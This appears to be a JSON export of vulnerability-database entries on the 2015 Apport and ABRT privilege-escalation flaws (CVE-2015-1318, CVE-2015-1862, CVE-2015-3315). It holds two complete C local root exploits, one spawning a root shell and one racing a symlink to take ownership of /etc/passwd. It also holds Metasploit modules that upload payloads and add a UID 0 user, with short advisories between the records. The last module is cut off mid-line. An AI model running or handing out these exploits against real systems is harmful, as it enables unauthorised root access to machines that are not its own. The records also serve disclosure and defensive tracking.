"AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-03-14T10:24:09", "description": "Exploit for linux platform in category local exploits", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "zdt", "title": "Apport/Abrt Local Root Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318"], "modified": "2015-04-15T00:00:00", "id": "1337DAY-ID-23511", "href": "https://0day.today/exploit/description/23511", "sourceData": "#define _GNU_SOURCE\r\n#include <stdio.h>\r\n#include <unistd.h>\r\n#include <stdlib.h>\r\n#include <fcntl.h>\r\n#include <signal.h>\r\n#include <elf.h>\r\n#include <err.h>\r\n#include <syslog.h>\r\n#include <sched.h>\r\n#include <linux/sched.h>\r\n#include <sys/types.h>\r\n#include <sys/stat.h>\r\n#include <sys/auxv.h>\r\n#include <sys/wait.h>\r\n \r\n# warning this file must be compiled with -static\r\n \r\n//\r\n// Apport/Abrt Vulnerability Demo Exploit.\r\n//\r\n// Apport: CVE-2015-1318\r\n// Abrt: CVE-2015-1862\r\n//\r\n// -- [email\u00a0protected], April 2015.\r\n//\r\n// $ gcc -static newpid.c\r\n// $ ./a.out\r\n// uid=0(root) gid=0(root) groups=0(root)\r\n// sh-4.3# exit\r\n// exit\r\n//\r\n// Hint: To get libc.a,\r\n// yum install glibc-static or apt-get install libc6-dev\r\n//\r\n \r\nint main(int argc, char **argv)\r\n{\r\n int status;\r\n Elf32_Phdr *hdr;\r\n pid_t wrapper;\r\n pid_t init;\r\n pid_t subprocess;\r\n unsigned i;\r\n \r\n // Verify this is a static executable by checking the program headers for a\r\n // dynamic segment. Originally I thought just checking AT_BASE would work,\r\n // but that isnt reliable across many kernels.\r\n hdr = (void *) getauxval(AT_PHDR);\r\n \r\n // If we find any PT_DYNAMIC, then this is probably not a static binary.\r\n for (i = 0; i < getauxval(AT_PHNUM); i++) {\r\n if (hdr[i].p_type == PT_DYNAMIC) {\r\n errx(EXIT_FAILURE, \"you *must* compile with -static\");\r\n }\r\n }\r\n \r\n // If execution reached here, it looks like we're a static executable. If\r\n // I'm root, then we've convinced the core handler to run us, so create a\r\n // setuid root executable that can be used outside the chroot.\r\n if (getuid() == 0) {\r\n if (chown(\"sh\", 0, 0) != 0)\r\n exit(EXIT_FAILURE);\r\n \r\n if (chmod(\"sh\", 04755) != 0)\r\n exit(EXIT_FAILURE);\r\n \r\n return EXIT_SUCCESS;\r\n }\r\n \r\n // If I'm not root, but euid is 0, then the exploit worked and we can spawn\r\n // a shell and cleanup.\r\n if (setuid(0) == 0) {\r\n system(\"id\");\r\n system(\"rm -rf exploit\");\r\n execlp(\"sh\", \"sh\", NULL);\r\n \r\n // Something went wrong.\r\n err(EXIT_FAILURE, \"failed to spawn root shell, but exploit worked\");\r\n }\r\n \r\n // It looks like the exploit hasn't run yet, so create a chroot.\r\n if (mkdir(\"exploit\", 0755) != 0\r\n || mkdir(\"exploit/usr\", 0755) != 0\r\n || mkdir(\"exploit/usr/share\", 0755) != 0\r\n || mkdir(\"exploit/usr/share/apport\", 0755) != 0\r\n || mkdir(\"exploit/usr/libexec\", 0755) != 0) {\r\n err(EXIT_FAILURE, \"failed to create chroot directory\");\r\n }\r\n \r\n // Create links to the exploit locations we need.\r\n if (link(*argv, \"exploit/sh\") != 0\r\n || link(*argv, \"exploit/usr/share/apport/apport\") != 0 // Ubuntu\r\n || link(*argv, \"exploit/usr/libexec/abrt-hook-ccpp\") != 0) { // Fedora\r\n err(EXIT_FAILURE, \"failed to create required hard links\");\r\n }\r\n \r\n // Create a subprocess so we don't enter the new namespace.\r\n if ((wrapper = fork()) == 0) {\r\n \r\n // In the child process, create a new pid and user ns. The pid\r\n // namespace is only needed on Ubuntu, because they check for %P != %p\r\n // in their core handler. On Fedora, just a user ns is sufficient.\r\n if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)\r\n err(EXIT_FAILURE, \"failed to create new namespace\");\r\n \r\n // Create a process in the new namespace.\r\n if ((init = fork()) == 0) {\r\n \r\n // Init (pid 1) signal handling is special, so make a subprocess to\r\n // handle the traps.\r\n if ((subprocess = fork()) == 0) {\r\n // Change /proc/self/root, which we can do as we're privileged\r\n // within the new namepace.\r\n if (chroot(\"exploit\") != 0) {\r\n err(EXIT_FAILURE, \"chroot didnt work\");\r\n }\r\n \r\n // Now trap to get the core handler invoked.\r\n __builtin_trap();\r\n \r\n // Shouldn't happen, unless user is ptracing us or something.\r\n err(EXIT_FAILURE, \"coredump failed, were you ptracing?\");\r\n }\r\n \r\n // If the subprocess exited with an abnormal signal, then everything worked.\r\n if (waitpid(subprocess, &status, 0) == subprocess) \r\n return WIFSIGNALED(status)\r\n ? EXIT_SUCCESS\r\n : EXIT_FAILURE;\r\n \r\n // Something didn't work.\r\n return EXIT_FAILURE;\r\n }\r\n \r\n // The new namespace didn't work.\r\n if (waitpid(init, &status, 0) == init)\r\n return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS\r\n ? EXIT_SUCCESS\r\n : EXIT_FAILURE;\r\n \r\n // Waitpid failure.\r\n return EXIT_FAILURE;\r\n }\r\n \r\n // If the subprocess returned sccess, the exploit probably worked, reload\r\n // with euid zero.\r\n if (waitpid(wrapper, &status, 0) == wrapper) {\r\n // All done, spawn root shell.\r\n if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {\r\n execl(*argv, \"w00t\", NULL);\r\n }\r\n }\r\n \r\n // Unknown error.\r\n errx(EXIT_FAILURE, \"unexpected result, cannot continue\");\r\n}\n\n# 0day.today [2018-03-14] #", "sourceHref": "https://0day.today/exploit/23511", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-02-06T07:17:26", "description": "Exploit for linux platform in category local exploits", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "zdt", "title": "Fedora abrt Race Condition Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "1337DAY-ID-23512", "href": "https://0day.today/exploit/description/23512", "sourceData": "#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <signal.h>\r\n#include <err.h>\r\n#include <string.h>\r\n#include <alloca.h>\r\n#include <limits.h>\r\n#include <sys/inotify.h>\r\n#include <sys/prctl.h>\r\n#include <sys/types.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <sys/stat.h>\r\n \r\n//\r\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\r\n//\r\n// Note: It can take a few minutes to win the race condition.\r\n//\r\n// -- [email\u00a0protected], April 2015.\r\n//\r\n// $ cat /etc/fedora-release\r\n// Fedora release 21 (Twenty One)\r\n// $ ./a.out /etc/passwd\r\n// [ wait a few minutes ]\r\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\r\n// Exploit successful...\r\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\r\n//\r\n \r\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\r\nstatic const size_t kMaxEventBuf = 8192;\r\nstatic const size_t kUnlinkAttempts = 8192 * 2;\r\nstatic const int kCrashDelay = 10000;\r\n \r\nstatic pid_t create_abrt_events(const char *name);\r\n \r\nint main(int argc, char **argv)\r\n{\r\n int fd, i;\r\n int watch;\r\n pid_t child;\r\n struct stat statbuf;\r\n struct inotify_event *ev;\r\n char *eventbuf = alloca(kMaxEventBuf);\r\n ssize_t size;\r\n \r\n // First argument is the filename user wants us to chown().\r\n if (argc != 2) {\r\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\r\n }\r\n \r\n // This is required as we need to make different comm names to avoid\r\n // triggering abrt rate limiting, so we fork()/execve() different names.\r\n if (strcmp(argv[1], \"crash\") == 0) {\r\n __builtin_trap();\r\n }\r\n \r\n // Setup inotify, and add a watch on the abrt directory.\r\n if ((fd = inotify_init()) < 0) {\r\n err(EXIT_FAILURE, \"unable to initialize inotify\");\r\n }\r\n \r\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\r\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\r\n }\r\n \r\n // Start causing crashes so that abrt generates reports.\r\n if ((child = create_abrt_events(*argv)) == -1) {\r\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\r\n }\r\n \r\n // Now start processing inotify events.\r\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\r\n \r\n // We can receive multiple events per read, so check each one.\r\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\r\n char dirname[NAME_MAX];\r\n char mapsname[NAME_MAX];\r\n char command[1024];\r\n \r\n // If this is a new ccpp report, we can start trying to race it.\r\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\r\n continue;\r\n }\r\n \r\n // Construct pathnames.\r\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\r\n strncat(dirname, ev->name, sizeof dirname);\r\n \r\n strncpy(mapsname, dirname, sizeof dirname);\r\n strncat(mapsname, \"/maps\", sizeof mapsname);\r\n \r\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\r\n \r\n // Check if we need to wait for the next event or not.\r\n while (access(dirname, F_OK) == 0) {\r\n for (i = 0; i < kUnlinkAttempts; i++) {\r\n // We need to unlink() and symlink() the file to win.\r\n if (unlink(mapsname) != 0) {\r\n continue;\r\n }\r\n \r\n // We won the first race, now attempt to win the\r\n // second race....\r\n if (symlink(argv[1], mapsname) != 0) {\r\n break;\r\n }\r\n \r\n // This looks good, but doesn't mean we won, it's possible\r\n // chown() might have happened while the file was unlinked.\r\n //\r\n // Give it a few microseconds to run chown()...just in case\r\n // we did win.\r\n usleep(10);\r\n \r\n if (stat(argv[1], &statbuf) != 0) {\r\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\r\n }\r\n \r\n if (statbuf.st_uid != getuid()) {\r\n break;\r\n }\r\n \r\n fprintf(stderr, \"\\tExploit successful...\\n\");\r\n \r\n // We're the new owner, run ls -l to show user.\r\n sprintf(command, \"ls -l %s\", argv[1]);\r\n system(command);\r\n \r\n return EXIT_SUCCESS;\r\n }\r\n }\r\n \r\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\r\n }\r\n }\r\n \r\n err(EXIT_FAILURE, \"failed to read inotify event\");\r\n}\r\n \r\n// This routine attempts to generate new abrt events. We can't just crash,\r\n// because abrt sanely tries to rate limit report creation, so we need a new\r\n// comm name for each crash.\r\nstatic pid_t create_abrt_events(const char *name)\r\n{\r\n char *newname;\r\n int status;\r\n pid_t child, pid;\r\n \r\n // Create a child process to generate events.\r\n if ((child = fork()) != 0)\r\n return child;\r\n \r\n // Make sure we stop when parent dies.\r\n prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n \r\n while (true) {\r\n // Choose a new unused filename\r\n newname = tmpnam(0);\r\n \r\n // Make sure we're not too fast.\r\n usleep(kCrashDelay);\r\n \r\n // Create a new crashing subprocess.\r\n if ((pid = fork()) == 0) {\r\n if (link(name, newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to create a new exename\");\r\n }\r\n \r\n // Execute crashing process.\r\n execl(newname, newname, \"crash\", NULL);\r\n \r\n // This should always work.\r\n err(EXIT_FAILURE, \"unexpected execve failure\");\r\n }\r\n \r\n // Reap crashed subprocess.\r\n if (waitpid(pid, &status, 0) != pid) {\r\n err(EXIT_FAILURE, \"waitpid failure\");\r\n }\r\n \r\n // Clean up the temporary name.\r\n if (unlink(newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to clean up\");\r\n }\r\n \r\n // Make sure it crashed as expected.\r\n if (!WIFSIGNALED(status)) {\r\n errx(EXIT_FAILURE, \"something went wrong\");\r\n }\r\n }\r\n \r\n return child;\r\n}\n\n# 0day.today [2018-02-06] #", "sourceHref": "https://0day.today/exploit/23512", "cvss": {"score": 5.3, "vector": "AV:LOCAL/AC:LOW/Au:UNKNOWN/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "ubuntucve": [{"lastseen": "2022-08-04T14:17:00", "description": "The crash reporting feature in Apport 2.13 through 2.17.x before 2.17.1\nallows local users to gain privileges via a crafted usr/share/apport/apport\nfile in a namespace (container).\n\n#### Bugs\n\n * <https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758>\n", "cvss3": {}, "published": "2015-04-14T00:00:00", "type": "ubuntucve", "title": "CVE-2015-1318", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1318"], "modified": "2015-04-14T00:00:00", "id": "UB:CVE-2015-1318", "href": "https://ubuntu.com/security/CVE-2015-1318", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "ubuntu": [{"lastseen": "2023-01-26T13:28:23", "description": "## Releases\n\n * Ubuntu 14.10 \n * Ubuntu 14.04 ESM\n\n## Packages\n\n * apport \\- automatically generate crash reports for debugging\n\nSt\u00e9phane Graber and Tavis Ormandy independently discovered that Apport \nincorrectly handled the crash reporting feature. A local attacker could use \nthis issue to gain elevated privileges.\n", "cvss3": {}, "published": "2015-04-14T00:00:00", "type": "ubuntu", "title": "Apport vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1318"], "modified": "2015-04-14T00:00:00", "id": "USN-2569-1", "href": "https://ubuntu.com/security/notices/USN-2569-1", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:36:37", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "openvas", "title": "Ubuntu Update for apport USN-2569-1", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-1318"], "modified": "2019-03-13T00:00:00", "id": "OPENVAS:1361412562310842169", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310842169", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for apport USN-2569-1\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed. Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. In both instances, the crash handler does not drop privileges, resulting in code execution as root. This module has been tested successfully on Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.\n", "cvss3": {}, "published": "2018-01-14T08:33:43", "type": "metasploit", "title": "Apport / ABRT chroot Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318"], "modified": "2021-07-08T13:03:42", "id": "MSF:EXPLOIT-LINUX-LOCAL-APPORT_ABRT_CHROOT_PRIV_ESC-", "href": "https://www.rapid7.com/db/modules/exploit/linux/local/apport_abrt_chroot_priv_esc/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Post::File\n include Msf::Post::Linux::Priv\n include Msf::Post::Linux::System\n include Msf::Post::Linux::Kernel\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Apport / ABRT chroot Privilege Escalation',\n 'Description' => %q{\n This module attempts to gain root privileges on Linux systems by\n invoking the default coredump handler inside a namespace (\"container\").\n\n Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are\n vulnerable, due to a feature which allows forwarding reports to\n a container's Apport by changing the root directory before loading\n the crash report, causing `usr/share/apport/apport` within the crashed\n task's directory to be executed.\n\n Similarly, Fedora is vulnerable when the kernel crash handler is\n configured to change root directory before executing ABRT, causing\n `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be\n executed.\n\n In both instances, the crash handler does not drop privileges,\n resulting in code execution as root.\n\n This module has been tested successfully on Apport 2.14.1 on\n Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'St\u00e9phane Graber', # Independent discovery, PoC and patch\n 'Tavis Ormandy', # Independent discovery and C exploit\n 'Ricardo F. Teixeira', # shell exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2015-03-31',\n 'Platform' => [ 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'Targets' => [[ 'Auto', {} ]],\n 'References' =>\n [\n [ 'CVE', '2015-1318' ],\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\n # Exploits\n [ 'EDB', '36782' ],\n [ 'EDB', '36746' ],\n [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],\n # ABRT (Fedora)\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\n # Apport (Ubuntu)\n [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],\n [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],\n [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],\n [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]\n ]\n ))\n register_advanced_options [\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n ]\n end\n\n def base_dir\n datastore['WritableDir']\n end\n\n def check\n unless userns_enabled?\n vprint_error 'Unprivileged user namespaces are not permitted'\n return CheckCode::Safe\n end\n vprint_good 'Unprivileged user namespaces are permitted'\n\n kernel_version = Rex::Version.new kernel_release.split('-').first\n\n if kernel_version < Rex::Version.new('3.12')\n vprint_error \"Linux kernel version #{kernel_version} is not vulnerable\"\n return CheckCode::Safe\n end\n vprint_good \"Linux kernel version #{kernel_version} is vulnerable\"\n\n kernel_core_pattern = read_file('/proc/sys/kernel/core_pattern').to_s\n\n # Vulnerable core_pattern (abrt):\n # kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\n # Patched systems no longer preface the command with /usr/sbin/chroot\n # kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\n if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')\n vprint_good 'System is configured to chroot ABRT for crash reporting'\n return CheckCode::Appears\n end\n\n # Vulnerable core_pattern (apport):\n # kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P\n if kernel_core_pattern.include? 'apport'\n vprint_good 'System is configured to use Apport for crash reporting'\n\n unless command_exists?('apport-cli')\n return CheckCode::Detected('Could not determine Apport version. apport-cli is not installed or not in $PATH.')\n end\n\n res = cmd_exec('apport-cli --version').to_s\n\n if res.blank?\n return CheckCode::Detected('Could not determine Apport version')\n end\n\n apport_version = Rex::Version.new(res.split('-').first)\n\n # apport 2.13 < 2.17.1\n if apport_version.between?(Rex::Version.new('2.13'), Rex::Version.new('2.17'))\n vprint_good \"Apport version #{apport_version} is vulnerable\"\n return CheckCode::Appears\n end\n\n vprint_error \"Apport version #{apport_version} is not vulnerable\"\n\n return CheckCode::Safe\n end\n\n vprint_error 'System is not configured to use Apport or chroot ABRT for crash reporting'\n\n CheckCode::Safe\n end\n\n def upload_and_chmodx(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n chmod path\n register_file_for_cleanup path\n end\n\n def exploit\n if is_root?\n fail_with Failure::BadConfig, 'Session already has root privileges'\n end\n\n # Upload Tavis Ormandy's newpid exploit:\n # - https://www.exploit-db.com/exploits/36746/\n # Cross-compiled with:\n # - i486-linux-musl-cc -static newpid.c\n executable_data = ::File.binread ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'\n\n executable_name = \".#{rand_text_alphanumeric 5..10}\"\n executable_path = \"#{base_dir}/#{executable_name}\"\n upload_and_chmodx executable_path, executable_data\n\n # Upload payload executable\n payload_name = \".#{rand_text_alphanumeric 5..10}\"\n payload_path = \"#{base_dir}/#{payload_name}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n # newpid writes an 'exploit' directory\n # which must be removed manually if exploitation fails\n register_dir_for_cleanup \"#{base_dir}/exploit\"\n\n # Change working directory to base_dir,\n # allowing newpid to create the required hard links\n print_status 'Launching exploit...'\n output = cmd_exec \"cd #{base_dir}; echo '#{payload_path}&' | #{executable_path}\"\n output.each_line { |line| vprint_status line.chomp }\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-11-03T01:35:02", "description": "This module attempts to gain root privileges on Linux systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. A race condition allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. This module has been tested successfully on: abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64; abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64; abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64; abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-01-16T14:52:33", "type": "metasploit", "title": "ABRT raceabrt Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1862", "CVE-2015-3315"], "modified": "2021-10-06T12:54:51", "id": "MSF:EXPLOIT-LINUX-LOCAL-ABRT_RACEABRT_PRIV_ESC-", "href": "https://www.rapid7.com/db/modules/exploit/linux/local/abrt_raceabrt_priv_esc/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'ABRT raceabrt Privilege Escalation',\n 'Description' => %q{\n This module attempts to gain root privileges on Linux systems with\n a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\n as the crash handler.\n\n A race condition allows local users to change ownership of arbitrary\n files (CVE-2015-3315). This module uses a symlink attack on\n `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,\n then adds a new user with UID=0 GID=0 to gain root privileges.\n Winning the race could take a few minutes.\n\n This module has been tested successfully on:\n\n abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;\n abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;\n abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;\n abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;\n abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Tavis Ormandy', # Discovery and C exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2015-04-14',\n 'Platform' => [ 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'Targets' => [[ 'Auto', {} ]],\n 'References' => [\n [ 'CVE', '2015-3315' ],\n [ 'EDB', '36747' ],\n [ 'BID', '75117' ],\n [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],\n [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],\n [ 'URL', 'https://access.redhat.com/articles/1415483' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]\n ],\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_fs_stat\n stdapi_sys_process_execute\n ]\n }\n }\n )\n )\n register_options(\n [\n OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),\n OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])\n ]\n )\n register_advanced_options [\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n ]\n\n self.needs_cleanup = true\n end\n\n def base_dir\n datastore['WritableDir']\n end\n\n def timeout\n datastore['TIMEOUT']\n end\n\n def check\n if immutable?('/etc/passwd')\n vprint_error 'File /etc/passwd is immutable'\n return CheckCode::Safe\n end\n\n kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'\n unless kernel_core_pattern.include? 'abrt-hook-ccpp'\n vprint_error 'System is NOT configured to use ABRT for crash reporting'\n return CheckCode::Safe\n end\n vprint_good 'System is configured to use ABRT for crash reporting'\n\n if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'\n vprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\"\n return CheckCode::Safe\n end\n vprint_good 'System does not appear to have been patched'\n\n unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'\n vprint_error \"Directory '/var/tmp/abrt' does NOT exist\"\n return CheckCode::Safe\n end\n vprint_good \"Directory '/var/tmp/abrt' exists\"\n\n if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'\n vprint_error 'abrt-ccp service NOT running'\n return CheckCode::Safe\n end\n vprint_good 'abrt-ccpp service is running'\n\n pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s\n abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\\s+/)[1]\n unless abrt_version.blank?\n vprint_status \"System is using ABRT package version #{abrt_version}\"\n end\n\n CheckCode::Detected\n end\n\n def upload_and_chmodx(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n cmd_exec \"chmod +x 